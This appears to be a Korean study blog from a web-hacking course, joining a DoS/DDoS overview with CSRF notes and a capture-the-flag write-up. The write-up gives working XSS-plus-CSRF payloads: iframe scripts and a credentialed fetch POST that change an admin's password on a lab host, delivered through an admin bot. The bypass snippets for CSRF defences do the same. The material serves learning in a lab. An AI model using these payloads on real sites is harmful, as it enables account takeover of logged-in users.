DOS공격

서비스 거부 공격(-拒否 攻擊, 영어denial-of-service attack, DoS attack) 또는 디오에스 공격/도스 공격(DoS attack)은 시스템을 악의적으로 공격해 해당 시스템의 리소스를 부족하게 하여 원래 의도된 용도로 사용하지 못하게 하는 공격이다.[1] 대량의 데이터 패킷을 통신망으로 보내고 특정 서버에 수많은 접속 시도를 하는 등 다른 이용자가 정상적으로 서비스 이용을 하지 못하게 하거나, 서버의 TCP 연결을 바닥내는 등의 공격이 이 범위에 포함된다. 수단, 동기, 표적은 다양할 수 있지만, 보통 인터넷 사이트 서비스 기능의 일시적 또는 영구적 방해 및 중단을 초래한다. 통상적으로 DoS는 유명한 사이트, 즉 은행, 신용카드 지불 게이트웨이, 또는 심지어 루트 네임 서버(root name server)를 상대로 이루어진다. 2002년 10월 22일과 2007년 2월 6일의 DNS 루트 서버에 대한 DNS 백본 DDoS 공격은 인터넷 URL 주소 체계를 무력화시킨 인터넷 전체에 대한 공격이었다. - 위키백과-


즉 사용자가 해당 서비스를 이용할 수 없게 서비스를 공격하는 방법을 통칭하는 뜻으로 여러 방식의 공격이 있다.

 

크게 두 가지 방식이 있다.

1. 서비스 서버의 리소스를 점유( 어플리 케이션의 취약점)

2. 서비스 서버로 향하는 네트워크 트래픽을 점유

 


1. 서비스 서버의 리소스를 점유( 어플리 케이션의 취약점)

여기서 서버의 리소스는 CPU, Memory, Disk 등이 포함 될 수 있으며 아래와 같이 높은 리소스를 사용하는 작업에 대한 요청으로 서비스 거부(DoS)가 된 사례이다.

 

외에도 업로드의 용량제한이 없다면 큰 용량의 데이터를 대량으로 업로드를 하여 Disk를 점유하는 방식또한 존재 한다.

 


2. 서비스 서버로 향하는 네트워크 트래픽을 점유

서비스를 요청하게 되면 결국 인터넷 망을 통해 서버로 전달 되게 되는데 해당 망에 과도한 요청을 보내어 다른 사용자가 요청할 수 없도록 하는 방법이다.

 

이와같은 방법은 많은 요청을 보내는 것이 필수적인데 이를 위한 공격 방법이 DDoS공격이다.

Distribute Denial of Service Attack의 약자로 분산 서비스 거부 공격이라고 한다.

 

2-1.DDoS

DDoS 공격의 구조는 C&C서버(Cmmand and Control Server)가 여러 좀비 PC에 명령하여 일괄적으로 공격대상에게 요청을 보내는 방식이다.

 

각종 악성코드를 인터넷에 배포하여 좀비PC를 만들어내며 해당 좀비PC를 사용하여 공격자에게 요청하게 된다.

 

2-2.DRDoS(Distribute Reflected Dinal of Service Attack)

이는 IP 스푸핑을 사용한 공격 방법으로 요청을 하면 여러 응답을 주는 반사서버에 요청지를 공격 대상으로 IP를 변조한 패킷을 전달하여 응답을 공격대상서버에 요청하는 공격방법이다.

이를 위해서는 공격자는 반사서버에 요청지 IP를 공격 대상으로 설정(이를 IP 스푸핑이라 한다.)하여 요청을 보내면 반사 서버들은 해당 요청에 대한 응답을 공격대상에게 전달한다.

 

2-3 SYN Flood 공격

이는 TCP의 3 way-handshaking의 구조를 활용한 공격으로 TCP연결을 위한 과정중 공격대상이 ACK요청을 공격 서버로 부터 대기하게 만들어 트래픽을 점유하게 하는 방식이다.

 

3 way-handshaking는 아래와 같은 구조로 가장 마지막의 client가 ACK를 전달하여야 하지만 이를 전달하지 않으므로서 공격대상은 ACK응답을 기다리고 있는 상태를 만든다.

 

이를 무수히 많은 Client(혹은 Zomibe PC)가 요청하게 된다면 서버는 많은 요청들을 대기상태이므로 신규로 받을 트래픽을 할당할 수 없게된다.

 

2-4 Slowloris 공격

클라이언트에서 HTTP 요청 시 데이터를 EOF를 전달하지 않으므로서 서버는 이후 데이터를 받을 준비를 하고 있도록 한다. 이를 대량의 Zombie PC를 사용하여 다량의 사용자가 데이터를 보내는 중으로 인식하게 한다.

 

이를 해결하기 위해 TimeOut시간을 짧게 지정하면 해결 될듯 보인다.


CSRF의 대응방법

- GET Method 대신 POST Mentod 사용

URL을 이용한 CSRF는 GET방식을 이용하기 때문에 주요한 서비스의 경우 GET 방식이 아닌 POST 방식으로 서비스를 구현

단, 해당 방식은 XSS가 가능할경우 script를 통해 POST로 보낼 수 있다.

EX)

<form method="POST" id="myform" action="mypage"
 <input hidden name="password"/>
 <input type="submit">
</form>

<script>
 document.getElementById("myform").submit();
</script>

 

- CSRF 토큰사용

서비스의 요청을 받을 때 CSRF토큰을 사용하여 단순 form의 요청을 차단한다.

단, 해당 방식은 xss로 iframe에서 데이터를 가져온다면 요청할 수 있다.

EX)

<iframe id="myIframe" src="mypage.php">

<form id="myform" action="changePw.php>
 <input name="password">
 <input id="myToken" name="token">
</form>

<script>
 var target = document.getElementById('myIframe');
 var token = target.contentDocuemnt.forms[0].token
 
 document.getElementById('myToken') = token
 document.getElementById('myForm').submit()
</script>

 

- Referrer Check

요청의 Referrer를 확인 하면 해당 요청을 보낸 페이지를 알 수 있다. 이를 통해 특정 페이지에서 오는 요청만 받도록 개발한다.

단, 이 방식은 referrer를 변조 할 수 있다.

 

- 사용자만 알 수 있는 정보 요청

비밀번호 변경 등을 할 때 사용자의 현재 비밀번호를 받는 방법이 이와 같은 방법이다. token의 경우 사용자가 기입하는 것이 아닌 서버에서 전달 받기 때문에 iframe에 해당 정보가 포함되어 있지만. 사용자의 현재 비밀번호는 사용자가 직접 기입해야하기 때문에 알 수 없다.

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

15주 File Upload, Download 취약점(LFI, RFI)  (0) 2024.02.15
14주차 (파일 업로드 취약점 & 웹 셸)  (0) 2024.02.13
12주차 CSRF  (0) 2024.02.01
12주차 CSRF  (1) 2024.01.21
11차 HTML의 DOM 접근  (0) 2024.01.15

CSRF

사이트 간 요청 위조(또는 크로스 사이트 요청 위조영어: Cross-site request forgery, CSRFXSRF)는 웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.

유명 경매 사이트인 옥션에서 발생한 개인정보 유출 사건에서 사용된 공격 방식 중 하나다.

사이트 간 스크립팅(XSS)을 이용한 공격이 사용자가 특정 웹사이트를 신용하는 점을 노린 것이라면, 사이트간 요청 위조는 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것이다. 일단 사용자가 웹사이트에 로그인한 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 열면, 공격 대상이 되는 웹사이트는 위조된 공격 명령이 믿을 수 있는 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출된다. - 위키 백과 -


즉 사용자의 동의 없이 특정 요청을 서버에 전송하게 하는 방법을 의미한다.

이는 사용자의 pc에서 동작하므로 사용자의 session 탈취 없이(요청자가 이미 사용자이기 때문에 session을 가지고 있다.)

 

Ex) 게시판 등록에 img 태그 삽입(src는 비밀번호를 변경하는 URL)

 

사용자가 게시물을 확인하면 img태그는 이미지를 가져오기 위해 해당 src를 조회하게 되며 비밀번호가 변경된다.

 


위의 예제와 같이 CSRF는 XSS와 함께 사용시 유용하게 사용될 수 있다.

1, 2번과 동일한 문제


1. 비밀번호 변경 요청 확인

요청을 확인해보니 csrf token이라는 것이 추가 되었다.

 

2. XSS를 이용한 CSRF 공격

 2-1) iframe이 onload 될 함수정의

 2-2) iframe의 src를 마이페이지로 지정

 2-3) iframe이 모두 로드 되면 비밀번호 input tag에 value를 124로 지정

 2-4) iframe의 업데이트 버튼 클릭하도록 target.contentDocument.getElementById('signup-btnl').click() 추가

<script>
delete window.alert

var errorFunction = function() {
	var target = document.getElementById('myframe')
	delete target.contentWindow.alert 

	console.log(target)
	target.contentDocument.getElementsByName('pw')[0].value = 124
	console.log(target.contentDocument.getElementsByName('pw')[0].value)
	//document.getElementById('token_input').value = token
	target.contentDocument.getElementById('signup-btnl').click()
	this.src=''
}
</script>

<iframe onload='errorFunction()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T"  id="myframe"></iframe>

 

3. 비밀번호 변경 확인

 

4. 관리자 봇으로 해당 url 전달

 alert이 발생하여서 실패.....


2. XSS를 이용한 CSRF 공격(다시)

 2-1) iframe에서 클릭하면 alert이 발생 하기 때문에 fetch를 통해 요청(html 랜더링 안해서)

 2-2) iframe에서 form데이터 받아와서 formData 구성

 2-3) 로그인 정보를 session에서 가져오기 때문에 credentioals : 'include'를 사용하여 세션아이디를 포함한 쿠키를 전달.

<script>

var sendForm = function() {

	var target = document.getElementById('myframe')
	target.contentDocument.getElementsByName('pw')[0].value = 111
	var form = target.contentDocument.getElementsByTagName('form')[0]
	var url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php'
	var formData = new FormData(form)

	for (var pair of formData.entries()) {
		    console.log(pair[0] + ': ' + pair[1]);
		}
	console.log(form)
	console.log(formData)
	
	console.log(target)

	fetch(url, {
    method: "POST",
		credentials: 'include',
    body: formData
  })
  .then(data => {
    // 성공적으로 응답을 받았을 때의 처리
    console.log()
	return data.text()
  })
.then(html => {
	console.log(html)
})
  .catch(error => {
    // 에러 처리
    console.error('Error:', error);
  });
}
</script>

<iframe onload='sendForm()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T"  id="myframe"></iframe>

3. 비밀번호 변경 확인

 

4. 관리자 봇에게 접근하도록 요청

 

5. 관리자 계정으로 로그인

1번 문제와 동일하다.

비밀번호 update가 되는 요청을 찾은 뒤 XSS가 발생하는 위치에서 CSRF공격을 진행하면된다.


1. 비밀번호 변경 요청 확인

 

GET 방식으로도 동작하는지 확인

GET 방식은 동작하지 않는다.

2. XSS로 POST방식의 CSRF공격

 2-1) form을 작성하여 method를 post로 지정 

 2-2) script에서 form을 찾아 submit

 

3. 비밀번호 변경 확인(로그아웃 후 재접속으로)

4. 관리자가 XSS, CSRF공격이 있는 게시물을 접속하도록 링크전달.

 

5. 관리자 계정으로 로그인

+ Recent posts